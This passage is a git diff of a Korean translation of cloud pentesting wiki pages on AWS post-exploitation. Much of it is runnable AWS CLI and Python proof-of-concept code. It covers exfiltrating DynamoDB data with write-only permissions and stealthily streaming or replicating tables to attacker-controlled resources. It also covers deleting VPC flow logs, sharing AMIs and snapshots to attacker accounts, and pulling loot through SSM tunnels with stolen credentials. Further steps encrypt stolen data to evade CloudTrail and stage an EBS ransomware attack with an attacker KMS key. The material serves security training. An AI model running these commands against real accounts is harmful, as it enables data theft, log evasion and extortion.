얻기 위해 스트림을 설명합니다: +2. ARN 및 기타 세부 정보를 얻기 위한 스트림을 설명하세요: ```bash aws dynamodb describe-stream \ --table-name TargetTable \ @@ -292,20 +292,20 @@ aws dynamodbstreams get-shard-iterator \ --shard-iterator-type LATEST \ --region ``` -4. shard iterator를 사용하여 stream에서 데이터에 접근하고 exfiltrate합니다: +4. shard iterator를 사용하여 stream의 데이터에 접근하고 exfiltrate합니다: ```bash aws dynamodbstreams get-records \ --shard-iterator \ --region ``` -**잠재적 영향**: DynamoDB 테이블 변경 사항의 실시간 모니터링 및 data leakage. +**잠재적 영향**: DynamoDB 테이블 변경의 실시간 모니터링 및 data leakage. -### `dynamodb:UpdateItem` 및 `ReturnValues=ALL_OLD`로 항목 읽기 +### `dynamodb:UpdateItem`와 `ReturnValues=ALL_OLD`로 항목 읽기 -테이블에 대해 `dynamodb:UpdateItem` 권한만 있는 공격자는 사소한 업데이트를 수행하고 `--return-values ALL_OLD`를 요청함으로써 일반적인 읽기 권한(`GetItem`/`Query`/`Scan`) 없이 항목을 읽을 수 있습니다. DynamoDB는 응답의 `Attributes` 필드에 항목의 업데이트 전 전체 이미지를 반환합니다(이는 RCUs를 소모하지 않습니다). +테이블에 대해 `dynamodb:UpdateItem` 권한만 있는 공격자는 무해한 업데이트를 수행하고 `--return-values ALL_OLD`를 요청함으로써 일반적인 읽기 권한(`GetItem`/`Query`/`Scan`) 없이 항목을 읽을 수 있습니다. DynamoDB는 응답의 `Attributes` 필드에 항목의 업데이트 전 전체 이미지를 반환합니다(이는 RCUs를 소모하지 않습니다). - 최소 권한: 대상 테이블/키에 대한 `dynamodb:UpdateItem`. -- 전제 조건: 항목의 기본 키를 알고 있어야 합니다. +- 전제 조건: 항목의 기본 키를 알아야 합니다. Example (adds a harmless attribute and exfiltrates the previous item in the response): ```bash @@ -318,14 +318,14 @@ aws dynamodb update-item \ --return-values ALL_OLD \ --region ``` -CLI 응답에는 전체 이전 항목(모든 attributes)을 포함하는 `Attributes` 블록이 포함되며, 이로 인해 write-only access로부터 사실상 read primitive를 획득할 수 있습니다. +The CLI response will include an `Attributes` block containing the complete previous item (all attributes), effectively providing a read primitive from write-only access. -**잠재적 영향:** 쓰기 권한만으로 테이블에서 임의의 항목을 읽을 수 있으며, primary keys가 알려진 경우 민감한 데이터의 exfiltration이 가능해집니다. +**잠재적 영향:** 쓰기 권한만으로 테이블의 임의 항목을 읽을 수 있어, 기본 키가 알려진 경우 민감한 데이터 유출을 가능하게 한다. ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica` -새로운 리플리카 Region을 DynamoDB Global Table (version 2019.11.21)에 추가하여 은밀하게 exfiltration을 수행할 수 있습니다. principal이 리전 리플리카를 추가할 수 있다면, 전체 테이블이 공격자가 선택한 Region으로 복제되어 공격자는 해당 Region에서 모든 항목을 읽을 수 있습니다. +새 복제 리전(replica Region)을 DynamoDB Global Table (version 2019.11.21)에 추가하여 은밀하게 데이터 유출을 수행할 수 있다. 만약 주체(principal)가 리전 복제본을 추가할 수 있다면, 전체 테이블이 공격자가 선택한 리전으로 복제되어 공격자는 해당 리전에서 모든 항목을 읽을 수 있다. {{#tabs }} {{#tab name="PoC (default DynamoDB-managed KMS)" }} @@ -354,13 +354,13 @@ aws dynamodb update-table \ {{#endtab }} {{#endtabs }} -권한: `dynamodb:UpdateTable` (with `replica-updates`) 또는 대상 테이블에 대한 `dynamodb:CreateTableReplica`. 복제본에 CMK가 사용되는 경우 해당 키에 대한 KMS 권한이 필요할 수 있습니다. +권한: `dynamodb:UpdateTable` (with `replica-updates`) 또는 대상 테이블에 대한 `dynamodb:CreateTableReplica`. 복제본에서 CMK를 사용하는 경우 해당 키에 대한 KMS 권한이 필요할 수 있습니다. -잠재적 영향: 전체 테이블이 attacker-controlled Region으로 복제되어 stealthy data exfiltration로 이어질 수 있습니다. +잠재적 영향: 공격자 제어 리전으로의 전체 테이블 복제가 발생하여 은밀한 데이터 유출로 이어질 수 있음. -### `dynamodb:TransactWriteItems` (실패한 조건을 통한 읽기 + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) +### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) -트랜잭셔널 쓰기 권한을 가진 attacker는 `TransactWriteItems` 내부에서 `Update`를 수행하고 의도적으로 `ConditionExpression`을 실패시키며 `ReturnValuesOnConditionCheckFailure=ALL_OLD`를 설정함으로써 기존 항목의 전체 속성을 exfiltrate할 수 있습니다. 실패 시, DynamoDB는 트랜잭션 취소 사유에 이전 속성을 포함하므로, 특정 키에 대한 쓰기 전용 액세스를 사실상 읽기 액세스로 전환합니다. +트랜잭션 쓰기 권한을 가진 공격자는 `TransactWriteItems` 내부에서 의도적으로 `ConditionExpression`이 실패하도록 하는 `Update`를 수행하고 `ReturnValuesOnConditionCheckFailure=ALL_OLD`를 설정함으로써 기존 항목의 전체 속성을 유출할 수 있습니다. 실패 시, DynamoDB는 트랜잭션 취소 사유에 이전 속성을 포함시켜 특정 키에 대한 쓰기 전용 접근을 사실상 읽기 접근으로 바꿉니다. {{#tabs }} {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }} @@ -409,21 +409,21 @@ print(e.response['CancellationReasons'][0]['Item']) {{#endtab }} {{#endtabs }} -Permissions: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required. +권한: `dynamodb:TransactWriteItems` on the target table (and the underlying item). 읽기 권한은 필요하지 않습니다. -Potential Impact: 반환된 취소 이유를 통해 트랜잭션 쓰기 권한만으로 테이블의 임의 항목(기본 키로)을 읽을 수 있음. +잠재적 영향: 반환된 취소 이유를 통해 트랜잭션 쓰기 권한만으로 테이블에서 임의의 항목(기본 키 기준)을 읽을 수 있습니다. ### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI -저엔트로피 속성에 `ProjectionType=ALL`로 Global Secondary Index (GSI)를 생성하고, 해당 속성 값을 모든 항목에 대해 상수로 설정한 다음 인덱스를 `Query`하여 전체 항목을 가져오면 읽기 제한을 우회할 수 있다. 이 방법은 기본 테이블에 대한 `Query`/`Scan`이 거부되더라도 인덱스 ARN을 쿼리할 수 있으면 작동한다. +낮은 엔트로피 속성에 `ProjectionType=ALL`인 Global Secondary Index (GSI)를 생성하고, 해당 속성을 항목들 전체에 걸쳐 상수 값으로 설정한 후, 인덱스를 `Query`하여 전체 항목을 가져오는 방식으로 읽기 제한을 우회합니다. 기본 테이블에서 `Query`/`Scan`이 거부되더라도 인덱스 ARN을 쿼리할 수 있다면 이 방법은 동작합니다. -- Minimum permissions: -- `dynamodb:UpdateTable` on the target table (`ProjectionType=ALL`로 GSI를 생성하기 위해). -- `dynamodb:UpdateItem` on the target table keys (각 항목에 인덱스된 속성을 설정하기 위해). -- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:::table//index/`). +- 최소 권한: +- `dynamodb:UpdateTable` on the target table (GSI를 `ProjectionType=ALL`로 생성하기 위해). +- `dynamodb:UpdateItem` on the target table keys (각 항목에 인덱싱된 속성을 설정하기 위해). +- 인덱스 리소스 ARN에 대한 `dynamodb:Query` (`arn:aws:dynamodb:::table//index/`). -Steps (PoC in us-east-1): +단계 (PoC in us-east-1): ```bash # 1) Create table and seed items (without the future GSI attribute) aws dynamodb create-table --table-name HTXIdx \ @@ -461,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \ --expression-attribute-values '{":v":{"S":"dump"}}' \ --region us-east-1 ``` -**Potential Impact:** 기본 테이블 읽기 API가 거부된 경우에도, 모든 속성을 프로젝션하는 새로 생성된 GSI를 쿼리하여 Full table exfiltration이 발생할 수 있음. +**Potential Impact:** 새로 생성된 GSI가 모든 속성을 프로젝션(projects)하도록 설정된 경우, base table read APIs가 거부되더라도 해당 GSI를 쿼리해 전체 테이블을 exfiltration할 수 있음. ### `dynamodb:EnableKinesisStreamingDestination` (Kinesis Data Streams를 통한 지속적인 exfiltration) -DynamoDB Kinesis streaming destinations를 악용하여 테이블의 변경 사항을 공격자가 제어하는 Kinesis Data Stream으로 지속적으로 exfiltrate함. 일단 활성화되면, 모든 INSERT/MODIFY/REMOVE 이벤트가 테이블에 대한 읽기 권한 없이도 거의 실시간으로 스트림으로 전달됨. +DynamoDB Kinesis streaming destinations를 악용하여 테이블의 변경 사항을 공격자 소유의 Kinesis Data Stream으로 지속적으로 exfiltrate합니다. 활성화되면 모든 INSERT/MODIFY/REMOVE 이벤트가 테이블에 대한 읽기 권한 없이 거의 실시간으로 해당 스트림으로 전달됩니다. -Minimum permissions (attacker): -- `dynamodb:EnableKinesisStreamingDestination` on the target table -- Optionally `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` to monitor status -- Read permissions on the attacker-owned Kinesis stream to consume records: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords` +최소 권한 (공격자): +- 대상 테이블에 대한 `dynamodb:EnableKinesisStreamingDestination` +- 상태 모니터링을 위해 선택적으로 `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` +- 레코드를 소비하기 위한 공격자 소유의 Kinesis 스트림에 대한 읽기 권한: `kinesis:*`
PoC (us-east-1) @@ -530,8 +530,8 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true ```
-**잠재적 영향:** 테이블 변경 사항을 공격자가 제어하는 Kinesis 스트림으로 직접 테이블 읽기 작업 없이 지속적이고 거의 실시간으로 exfiltration할 수 있습니다. +**Potential Impact:** 테이블에 대한 직접적인 읽기 작업 없이 공격자가 제어하는 Kinesis 스트림으로 테이블 변경사항을 지속적이고 거의 실시간으로 exfiltration할 수 있음. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 748f8d453..19717a695 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -4,26 +4,27 @@ ## EC2 & VPC -자세한 정보는 다음을 확인하세요: +자세한 내용은 다음을 확인하세요: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### **악의적인 VPC 미러 -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` +### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC 트래픽 미러링은 **VPC 내의 EC2 인스턴스에 대한 수신 및 발신 트래픽을 복제**하며, 인스턴스 자체에 아무것도 설치할 필요가 없습니다. 이 복제된 트래픽은 일반적으로 분석 및 모니터링을 위해 네트워크 침입 탐지 시스템(IDS)과 같은 곳으로 전송됩니다.\ -공격자는 이를 악용하여 모든 트래픽을 캡처하고 민감한 정보를 얻을 수 있습니다: +VPC traffic mirroring는 **VPC 내 EC2 인스턴스의 인바운드 및 아웃바운드 트래픽을 중복 복사**하며, 인스턴스 자체에 아무것도 설치할 필요가 없습니다.\ +이 복제된 트래픽은 일반적으로 분석 및 모니터링을 위해 network intrusion detection system (IDS)와 같은 곳으로 전송됩니다.\ +공격자는 이를 악용하여 모든 트래픽을 가로채고 민감한 정보를 획득할 수 있습니다: -자세한 정보는 이 페이지를 확인하세요: +자세한 내용은 이 페이지를 확인하세요: {{#ref}} aws-malicious-vpc-mirror.md {{#endref}} -### 실행 중인 인스턴스 복사 +### Copy Running Instance -인스턴스는 일반적으로 어떤 형태의 민감한 정보를 포함하고 있습니다. 내부에 접근하는 방법은 여러 가지가 있습니다( [EC2 권한 상승 트릭](../../aws-privilege-escalation/aws-ec2-privesc.md) 확인). 그러나 그것이 무엇을 포함하고 있는지 확인하는 또 다른 방법은 **AMI를 생성하고 이를 기반으로 새 인스턴스를 실행하는 것입니다(자신의 계정에서도 가능)**: +인스턴스에는 보통 민감한 정보가 포함되어 있습니다. 내부로 접근하는 방법은 여러 가지가 있습니다 (자세한 내용은 [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md) 참조). 하지만, 그 내용물을 확인하는 또 다른 방법은 **AMI를 생성하고 해당 AMI로부터 새 인스턴스(심지어 자신의 계정에서도)를 실행하는 것**입니다: ```shell # List instances aws ec2 describe-images @@ -47,111 +48,176 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups " aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 ``` -### EBS 스냅샷 덤프 +### EBS Snapshot dump -**스냅샷은 볼륨의 백업**으로, 일반적으로 **민감한 정보**를 포함하고 있으므로 이를 확인하면 이 정보를 공개할 수 있습니다.\ -**스냅샷이 없는 볼륨**을 발견하면 다음과 같은 작업을 수행할 수 있습니다: **스냅샷 생성** 및 다음 작업 수행 또는 **계정 내 인스턴스에 마운트**하기: +**Snapshots are backups of volumes**는 보통 **민감한 정보**를 포함하므로, 이를 확인하면 해당 정보가 드러납니다. +계정에서 **volume without a snapshot**를 찾으면, **Create a snapshot**을 생성해 다음 작업을 수행하거나 단순히 계정 내에서 **mount it in an instance** 하세요: {{#ref}} aws-ebs-snapshot-dump.md {{#endref}} -### 데이터 유출 +### Covert Disk Exfiltration via AMI Store-to-S3 -#### DNS 유출 +`CreateStoreImageTask`를 사용해 EC2 AMI를 S3로 직접 export하여 snapshot sharing 없이 raw disk image를 획득할 수 있습니다. 이렇게 하면 instance의 네트워킹을 건드리지 않고 전체 오프라인 포렌식이나 데이터 탈취가 가능합니다. -EC2의 트래픽을 차단하더라도 여전히 **DNS를 통해 유출**될 수 있습니다. +{{#ref}} +aws-ami-store-s3-exfiltration.md +{{#endref}} -- **VPC 흐름 로그는 이를 기록하지 않습니다**. -- AWS DNS 로그에 접근할 수 없습니다. -- 다음과 같이 "enableDnsSupport"를 false로 설정하여 비활성화합니다: +### Live Data Theft via EBS Multi-Attach + +io1/io2 Multi-Attach volume을 두 번째 instance에 연결하고 읽기 전용으로 mount하여 snapshot 없이 실시간 데이터를 흡수할 수 있습니다. 피해자의 volume이 동일 AZ 내에서 이미 Multi-Attach가 활성화되어 있을 때 유용합니다. + +{{#ref}} +aws-ebs-multi-attach-data-theft.md +{{#endref}} + +### EC2 Instance Connect Endpoint Backdoor + +EC2 Instance Connect Endpoint를 생성하고 ingress를 승인한 뒤 ephemeral SSH keys를 주입하여 managed tunnel을 통해 private instances에 접근합니다. 공개 포트를 열지 않고도 빠르게 lateral movement 경로를 확보할 수 있습니다. + +{{#ref}} +aws-ec2-instance-connect-endpoint-backdoor.md +{{#endref}} + +### EC2 ENI Secondary Private IP Hijack + +피해자 ENI의 secondary private IP를 공격자 제어 ENI로 이동시켜 IP로 allowlisted된 신뢰된 호스트를 가장합니다. 특정 주소에 기반한 internal ACLs 또는 SG rules를 우회할 수 있습니다. + +{{#ref}} +aws-eni-secondary-ip-hijack.md +{{#endref}} + +### Elastic IP Hijack for Ingress/Egress Impersonation + +피해자 instance에서 Elastic IP를 공격자에게 재연결해 인바운드 트래픽을 가로채거나 신뢰된 public IP로 보이는 아웃바운드 연결을 생성합니다. + +{{#ref}} +aws-eip-hijack-impersonation.md +{{#endref}} + +### Security Group Backdoor via Managed Prefix Lists + +security group rule이 customer-managed prefix list를 참조하는 경우, 리스트에 attacker CIDRs를 추가하면 SG 자체를 수정하지 않고도 모든 종속 SG rule에 대한 접근을 조용히 확장할 수 있습니다. + +{{#ref}} +aws-managed-prefix-list-backdoor.md +{{#endref}} + +### VPC Endpoint Egress Bypass + +gateway 또는 interface VPC endpoints를 생성해 격리된 subnets에서 아웃바운드 접근을 회복할 수 있습니다. AWS-managed private links를 활용하면 IGW/NAT 제어가 없더라도 데이터 exfiltration을 우회할 수 있습니다. + +{{#ref}} +aws-vpc-endpoint-egress-bypass.md +{{#endref}} + +### VPC Flow Logs Cross-Account Exfiltration + +VPC Flow Logs를 공격자 제어 S3 버킷으로 지정해 피해자 계정 외부에서 네트워크 메타데이터(출발지/목적지, 포트 등)를 장기간 수집할 수 있습니다. + +{{#ref}} +aws-vpc-flow-logs-cross-account-exfiltration.md +{{#endref}} + +### Data Exfiltration + +#### DNS Exfiltration + +EC2를 락다운해 아무 트래픽도 나가지 못하게 해도, 여전히 **exfil via DNS**가 가능합니다. + +- **VPC Flow Logs will not record this**. +- AWS DNS logs에 접근할 수 없습니다. +- 이를 비활성화하려면 "enableDnsSupport"를 false로 설정하세요: `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` -#### API 호출을 통한 유출 +#### Exfiltration via API calls -공격자는 자신이 제어하는 계정의 API 엔드포인트를 호출할 수 있습니다. Cloudtrail은 이 호출을 기록하며, 공격자는 Cloudtrail 로그에서 유출된 데이터를 확인할 수 있습니다. +공격자는 자신이 제어하는 계정의 API endpoints를 호출할 수 있습니다. Cloudtrail은 이러한 호출을 기록하며 공격자는 Cloudtrail 로그에서 exfiltrate된 데이터를 확인할 수 있습니다. -### 열린 보안 그룹 +### Open Security Group -다음과 같이 포트를 열어 네트워크 서비스에 대한 추가 접근을 얻을 수 있습니다: +다음과 같이 포트를 열면 네트워크 서비스에 대한 추가 접근을 얻을 수 있습니다: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` ### Privesc to ECS -EC2 인스턴스를 실행하고 이를 ECS 인스턴스를 실행하는 데 사용하도록 등록한 다음 ECS 인스턴스의 데이터를 훔치는 것이 가능합니다. +EC2 instance를 실행하고, 이를 ECS instances를 실행하는 데 사용하도록 등록한 후 ECS instances의 데이터를 steal할 수 있습니다. -For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). +자세한 내용은 [**여기를 확인하세요**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). ### Remove VPC flow logs ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` -### SSM 포트 포워딩 +### SSM Port Forwarding -필요한 권한: +필요 권한: - `ssm:StartSession` -명령 실행 외에도 SSM은 트래픽 터널링을 허용하며, 이는 보안 그룹이나 NACL로 인해 네트워크 접근이 없는 EC2 인스턴스에서 피벗하는 데 악용될 수 있습니다. 이 기능이 유용한 시나리오 중 하나는 [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/)에서 개인 EKS 클러스터로 피벗하는 것입니다. +명령 실행 외에도, SSM은 traffic tunneling을 허용하며 이는 Security Groups나 NACLs 때문에 네트워크 접근이 없는 EC2 인스턴스에서 pivot할 때 악용될 수 있습니다. +이 방법이 유용한 시나리오 중 하나는 [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/)에서 private EKS 클러스터로 pivoting 하는 경우입니다. > 세션을 시작하려면 SessionManagerPlugin이 설치되어 있어야 합니다: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html -1. 머신에 SessionManagerPlugin을 설치합니다. -2. 다음 명령을 사용하여 Bastion EC2에 로그인합니다: +1. 로컬 머신에 SessionManagerPlugin을 설치합니다 +2. 다음 명령을 사용해 Bastion EC2에 로그인합니다: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. [AWS EC2 환경에서 SSRF 악용하기](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) 스크립트를 사용하여 Bastion EC2 AWS 임시 자격 증명을 가져옵니다. -4. 자격 증명을 `$HOME/.aws/credentials` 파일에 `[bastion-ec2]` 프로필로 자신의 머신으로 전송합니다. -5. Bastion EC2로 EKS에 로그인합니다: +3. Bastion EC2의 AWS 임시 자격증명을 [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) 스크립트를 사용하여 얻는다 +4. 자격 증명을 자신의 머신의 `$HOME/.aws/credentials` 파일에 `[bastion-ec2]` 프로파일로 전송한다 +5. Bastion EC2로 EKS에 로그인: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` -6. `$HOME/.kube/config` 파일의 `server` 필드를 `https://localhost`로 업데이트합니다. +6. `$HOME/.kube/config` 파일의 `server` 필드를 `https://localhost`를 가리키도록 업데이트합니다. 7. 다음과 같이 SSM 터널을 생성합니다: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -8. `kubectl` 도구의 트래픽이 이제 Bastion EC2를 통해 SSM 터널을 통해 전달되며, 다음 명령어를 실행하여 자신의 머신에서 개인 EKS 클러스터에 접근할 수 있습니다: +8. `kubectl` 도구의 트래픽은 이제 Bastion EC2를 통해 SSM 터널로 포워딩되며, 다음 명령을 실행하면 본인 머신에서 비공개 EKS 클러스터에 접근할 수 있습니다: ```shell kubectl get pods --insecure-skip-tls-verify ``` -SSL 연결은 `--insecure-skip-tls-verify ` 플래그(또는 K8s 감사 도구의 동등한 옵션)를 설정하지 않으면 실패합니다. 트래픽이 안전한 AWS SSM 터널을 통해 터널링되므로 MitM 공격으로부터 안전합니다. +Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks. -마지막으로, 이 기술은 개인 EKS 클러스터를 공격하는 데만 국한되지 않습니다. 임의의 도메인과 포트를 설정하여 다른 AWS 서비스나 사용자 정의 애플리케이션으로 피벗할 수 있습니다. +마지막으로, 이 기법은 프라이빗 EKS 클러스터를 공격하는 데만 국한되지 않습니다. 임의의 도메인과 포트를 설정하여 다른 AWS 서비스나 커스텀 애플리케이션으로 pivot할 수 있습니다. --- -#### 빠른 로컬 ↔️ 원격 포트 포워드 (AWS-StartPortForwardingSession) +#### 빠른 로컬 ↔️ 원격 포트 포워딩 (AWS-StartPortForwardingSession) -EC2 인스턴스에서 로컬 호스트로 **하나의 TCP 포트만 포워딩**해야 하는 경우 `AWS-StartPortForwardingSession` SSM 문서를 사용할 수 있습니다(원격 호스트 매개변수 필요 없음): +만약 **EC2 인스턴스에서 로컬 호스트로 하나의 TCP 포트만** 포워딩하면 된다면, `AWS-StartPortForwardingSession` SSM 문서를 사용할 수 있습니다(원격 호스트 파라미터 불필요): ```bash aws ssm start-session --target i-0123456789abcdef0 \ --document-name AWS-StartPortForwardingSession \ --parameters "portNumber"="8000","localPortNumber"="8000" \ --region ``` -명령은 작업 공간(`localPortNumber`)과 인스턴스의 선택된 포트(`portNumber`) 간에 양방향 터널을 설정합니다 **인바운드 보안 그룹 규칙을 열지 않고**. +이 명령은 워크스테이션(`localPortNumber`)과 인스턴스의 선택된 포트(`portNumber`) 사이에 양방향 터널을 설정합니다 **인바운드 Security-Group 규칙을 열지 않고**. -일반적인 사용 사례: +Common use cases: -* **파일 유출** -1. 인스턴스에서 유출하려는 디렉토리를 가리키는 빠른 HTTP 서버를 시작합니다: +* **File exfiltration** +1. 인스턴스에서 exfiltrate하려는 디렉터리를 가리키는 간단한 HTTP 서버를 시작합니다: ```bash python3 -m http.server 8000 ``` -2. 작업 공간에서 SSM 터널을 통해 파일을 가져옵니다: +2. 워크스테이션에서 SSM 터널을 통해 파일을 가져옵니다: ```bash curl http://localhost:8000/loot.txt -o loot.txt ``` -* **내부 웹 애플리케이션 접근 (예: Nessus)** +* **내부 웹 애플리케이션에 접근하기 (e.g. Nessus)** ```bash # Forward remote Nessus port 8834 to local 8835 aws ssm start-session --target i-0123456789abcdef0 \ @@ -159,7 +225,7 @@ aws ssm start-session --target i-0123456789abcdef0 \ --parameters "portNumber"="8834","localPortNumber"="8835" # Browse to http://localhost:8835 ``` -팁: CloudTrail이 평문 내용을 기록하지 않도록 증거를 압축하고 암호화한 후 유출하세요: +팁: 증거를 유출하기 전에 압축하고 암호화하여 CloudTrail이 평문 내용을 기록하지 않도록 하세요: ```bash # On the instance 7z a evidence.7z /path/to/files/* -p'Str0ngPass!' @@ -168,19 +234,19 @@ aws ssm start-session --target i-0123456789abcdef0 \ ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` -### 공개 및 비공개 AMI에서 민감한 정보 검색 +### 공개 및 비공개 AMIs에서 민감한 정보 검색 -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel은 **공개 또는 비공식 Amazon Machine Images (AMIs) 내에서 민감한 정보를 검색하기 위해 설계된 도구**입니다. 이 도구는 대상 AMI에서 인스턴스를 시작하고, 볼륨을 마운트하며, 잠재적인 비밀이나 민감한 데이터를 스캔하는 과정을 자동화합니다. +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel은 **공개 또는 비공개 Amazon Machine Images (AMIs) 내에서 민감한 정보를 검색**하도록 설계된 도구입니다. 이는 대상 AMIs에서 인스턴스를 시작하고 해당 볼륨을 마운트한 뒤 잠재적인 secrets 또는 민감한 데이터를 스캔하는 과정을 자동화합니다. -### EBS 스냅샷 공유 +### EBS Snapshot 공유 ```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` ### EBS Ransomware PoC -S3 포스트 익스플로이테이션 노트에서 시연된 랜섬웨어 데모와 유사한 개념 증명입니다. KMS는 다양한 AWS 서비스를 암호화하는 데 사용하는 것이 얼마나 쉬운지를 고려하여 랜섬웨어 관리 서비스(RMS)로 이름을 변경해야 합니다. +S3 post-exploitation notes에 시연된 Ransomware 데모와 유사한 개념 증명입니다. KMS는 다양한 AWS 서비스를 암호화하는 데 사용하는 것이 얼마나 쉬운지 때문에 Ransomware Management Service(줄여서 RMS)로 이름을 바꿔야 합니다. -먼저 '공격자' AWS 계정에서 KMS에 고객 관리 키를 생성합니다. 이 예에서는 AWS가 키 데이터를 관리하도록 하겠지만, 현실적인 시나리오에서는 악의적인 행위자가 AWS의 통제를 벗어난 곳에 키 데이터를 보관할 것입니다. 키 정책을 변경하여 모든 AWS 계정 주체가 키를 사용할 수 있도록 허용합니다. 이 키 정책의 경우, 계정 이름은 'AttackSim'이며 모든 접근을 허용하는 정책 규칙은 'Outside Encryption'이라고 합니다. +먼저 'attacker' AWS 계정에서 KMS에 customer managed key를 생성합니다. 이 예에서는 AWS가 키 데이터를 관리하도록 하겠지만, 현실적인 시나리오에서는 악의적 행위자가 AWS의 관리 범위를 벗어나 키 데이터를 보관할 것입니다. key policy를 변경하여 모든 AWS 계정 Principal이 키를 사용할 수 있도록 허용하세요. 이 key policy의 경우 계정 이름은 'AttackSim'였고, 모든 접근을 허용하는 정책 규칙은 'Outside Encryption'이라고 불립니다. ``` { "Version": "2012-10-17", @@ -272,7 +338,7 @@ S3 포스트 익스플로이테이션 노트에서 시연된 랜섬웨어 데모 ] } ``` -키 정책 규칙은 EBS 볼륨을 암호화하는 데 사용할 수 있도록 다음을 활성화해야 합니다: +키 정책 규칙은 EBS 볼륨을 암호화하는 데 사용될 수 있도록 다음 항목들이 활성화되어 있어야 합니다: - `kms:CreateGrant` - `kms:Decrypt` @@ -280,21 +346,21 @@ S3 포스트 익스플로이테이션 노트에서 시연된 랜섬웨어 데모 - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -이제 공개적으로 접근 가능한 키를 사용할 수 있습니다. 우리는 암호화되지 않은 EBS 볼륨이 연결된 EC2 인스턴스가 있는 '희생자' 계정을 사용할 수 있습니다. 이 '희생자' 계정의 EBS 볼륨이 암호화를 목표로 하고 있으며, 이 공격은 고급 권한 AWS 계정의 침해를 가정하고 있습니다. +이제 공개적으로 접근 가능한 키를 사용할 수 있습니다. 암호화 대상은 암호화되지 않은 EBS 볼륨이 연결된 EC2 인스턴스들이 있는 'victim' 계정을 사용할 수 있습니다. 이 'victim' 계정의 EBS 볼륨들이 우리가 암호화하려는 대상이며, 이 공격은 높은 권한을 가진 AWS 계정이 침해되었다는 가정 하에 진행됩니다. ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -S3 랜섬웨어 예제와 유사하게, 이 공격은 연결된 EBS 볼륨의 복사본을 스냅샷을 사용하여 생성하고, '공격자' 계정의 공개적으로 사용 가능한 키를 사용하여 새로운 EBS 볼륨을 암호화한 다음, 원래 EBS 볼륨을 EC2 인스턴스에서 분리하고 삭제하며, 마지막으로 새로 암호화된 EBS 볼륨을 생성하는 데 사용된 스냅샷을 삭제합니다. ![Pasted image 